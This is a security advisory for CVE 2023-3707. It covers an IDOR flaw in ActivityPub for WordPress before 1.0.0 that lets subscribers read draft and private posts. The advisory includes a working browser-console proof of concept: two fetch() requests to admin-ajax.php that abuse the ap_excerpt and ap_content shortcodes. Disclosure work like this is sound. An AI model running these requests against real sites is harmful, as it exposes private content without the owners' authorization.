ActivityPub for WordPress < 1.0.0 – Subscriber+ Arbitrary Post Content Disclosure | CVE 2023-3707

Description

The plugin does not ensure that post contents to be displayed are public and belong to the plugin, allowing any authenticated user, such as subscriber to retrieve the content of arbitrary post (such as draft and private) via an IDOR vector. Password protected posts are not affected by this issue.

Proof of Concept

Run one of below commands in the developer console of the web browser while being on the blog as a subscriber

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[ap_excerpt]&post_ID=42",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[ap_content]&post_ID=42",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

This will disclose the content of the private/draft post with ID 42 in the response.